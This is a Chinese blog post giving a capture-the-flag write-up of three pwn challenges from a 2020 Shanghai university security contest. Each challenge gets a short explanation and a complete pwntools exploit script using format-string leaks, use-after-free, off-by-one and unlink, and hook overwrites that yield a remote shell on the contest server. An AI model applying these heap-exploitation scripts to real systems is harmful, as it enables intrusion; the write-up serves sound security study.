2020年全国大学生网络安全邀请赛暨第六届上海市大学生网络安全大赛 pwn部分 writeup

EASY_ABNORMAL

格式化字符串泄漏libc地址,uaf来泄漏堆地址
利用异常机制将栈迁移到堆上执行gadget

from pwn import *

binary = "./pwn"
libc = ELF('./libc-2.23.so')
p = remote("123.56.52.128","10012")

def name(payload):
	p.sendafter('NAME: ',payload)

def add(data):
	p.sendlineafter('CHOICE :','2')
	p.sendafter('cnt:',data)

def free(index):
	p.sendlineafter('CHOICE :','3')
	p.sendlineafter('idx:',str(index))

def show_note():
	p.sendlineafter('CHOICE :','4')

def format():
	p.sendlineafter('CHOICE :','1')

def gift(payload):
	p.sendlineafter('CHOICE :','23333')
	p.sendafter("INPUT:",payload)

name("%11$p\n")
format()
p.recvuntil('0x')
main = int(p.recv(12),16) - 240
libc_base = main - libc.sym['__libc_start_main']

one_gadget = libc_base + 0x4527a
payload = p64(0) * 4 + p64(one_gadget)
add(payload + '\n')
add(payload + '\n')
free(0)
free(1)
show_note()

p.recvuntil('idx 2:')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
payload1 = '\x00' * 32 + p64(heap_addr + 0x28)
gift(payload1)

p.interactive()

maj0rone

仔细分析下这个是不难的,主要在于add功能绕回答一个问题,分析输入80就能绕过了
然后就是简单的uaf,爆破下IO,没给libc,直接用本地的试了一下就通了

from pwn import *

local = 0

'''
time: 2020-11-14
libc: libc-2.23.so
python version:2.7
'''

binary = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc-2.23.so'
port = "18523"

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def add(size,content):
	p.sendlineafter('>> ','1')
	p.sendlineafter('please answer the question','80')
	p.sendlineafter('______?',str(size))
	p.sendafter('start_the_game,yes_or_no?',content)

def edit(index,content):
	p.sendlineafter('>> ','4')
	p.sendlineafter('index ?',str(index))
	p.sendafter('__new_content ?',content)

def free(index):
	p.sendlineafter('>> ','2')
	p.sendlineafter('index ?',str(index))

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['_IO_2_1_stderr_']
	print "[*] libc base:",hex(libc_base)
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search('/bin/sh').next()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

byte_bss = 0x603038
bss1 = 0x60303C
bss2 = 0x603040
yes = 0x603060
sizearray = 0x603260
heaparray = 0x6032E0
content = 0x6033E0


while True:
	try:
		if local == 1:
			p = process(binary)
		else:
			p = remote("123.56.52.128",port)

		add(0x60,'0')
		add(0x60,'1')
		add(0x10,'2')
		add(0x10,'3')
		
		free(1)
		free(0)
		free(1)
		
		edit(1,'\x40')
		payload = p64(0) * 6 + p64(0) + p64(0x71)
		edit(0,payload)
		
		add(0x60,'4')
		add(0x60,'5')
		
		free(1)
		payload = p64(0) * 5 + p64(0x91)
		edit(5,payload)
		
		free(1)
		
		payload = p64(0) * 5 + p64(0x71) + '\xdd\x65'
		edit(5,payload)
		
		payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800)    # change flags
		payload += p64(0) * 3 + '\x00' # make _IO_write_base smaller
		
		add(0x60,'6')
		add(0x60,'7')
		edit(7,payload)

		leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192
		leak_libc(leak)

		add(0x60,'8')

		free(8)
		edit(8,p64(__malloc_hook - 0x23))

		one_gadget_list = [0x45226,0x4527a,0xf0364,0xf1207]
		one_gadget = libc_base + one_gadget_list[3]

		payload = 0x13 * 'a' + p64(one_gadget)

		add(0x60,'9')
		add(0x60,'10')
		edit(10,payload)

		p.interactive()

		break

	except Exception as e:
		print(e)
		p.close()
		continue

lgtwo

跟De1ctf一个题有点儿像,漏洞是off-by-one
布置堆结构在fastbin的fd上踩出一个unsorted bin指针,爆破IO即可
最后unlink

from pwn import *

local = 0

binary = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc-2.23.so'
port = "45830"



def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def add(size,content):
	p.sendlineafter('>>','1')
	p.sendlineafter('size?',str(size))
	p.sendafter('content?',content)

def free(index):
	p.sendlineafter('>>','2')
	p.sendlineafter('index ?',str(index))

def edit(index,content):
	p.sendlineafter('>>','4')
	p.sendlineafter('index ?',str(index))
	p.sendafter('what is your new content ?',content)

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['_IO_2_1_stderr_']
	print "[*] libc base:",hex(libc_base)
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search('/bin/sh').next()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

heaparray = 0x6020C0
sizearray = 0x602040
some = 0x602038
content = 0x6021C0

fd = heaparray + 0x8 * 7 - 0x18
bk = heaparray + 0x8 * 7- 0x10

elf = ELF(binary)

while True:
	try:
		if local == 1:
			p = process(binary)
		else:
			p = remote("123.56.52.128",port)

		# dbg()
		add(0x18,'a')	# 0
		add(0x18,'b')	# 1
		add(0x60,'c')	# 2
		add(0x58,'c')	# 3
		add(0x10,'pro')	# 4
		
		edit(0,0x10 * 'a' + 8 * '\x00' + '\xf1')
		# edit(3,0x50 * 'a' + p64(0xf0) + '\x20')
		
		free(1)
		free(2)
		
		# add(0x60,'dddd')
		add(0x18,'heihei')	# 1
		# add(0x60,'bao')
		add(0xc0,'az')	# 2
		
		edit(1,0x18 * 'a' + '\x71')
		
		edit(0,0x10 * 'a' + 8 * '\x00' + '\xf1')
		free(1)
		
		add(0xe0,'hello')	# 1
		payload = p64(0) * 3 + p64(0x71) + '\xdd\x65'
		edit(1,payload)
		
		add(0x60,'lemon')
		
		add(0x60,'fakechunk')	# 6
		payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800)    # change flags
		payload += p64(0) * 3 + '\x00' # make _IO_write_base smaller
		edit(6,payload)
		
		leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192
		log.success("LEAK:{}".format(hex(leak)))
		leak_libc(leak)
		
		add(0x38,'a')	# 7
		add(0x80,'b')	# 8
		add(0x10,'/bin/sh\x00')	# 9
		edit(9,'/bin/sh\x00')

		payload = p64(0) + p64(0x31) + p64(fd) + p64(bk)
		payload = payload.ljust(0x30,'\x00')
		payload += p64(0x30) +'\x90'

		edit(7,payload)
		free(8)

		edit(7,p64(0) * 3 + p64(__free_hook))
		edit(7,p64(system))

		free(9)
		
		p.interactive()

		break

	except Exception as e:
		print(e)
		p.close()
		continue
posted @ 2020-11-15 16:12  lemon想学二进制  阅读(392)  评论(0编辑  收藏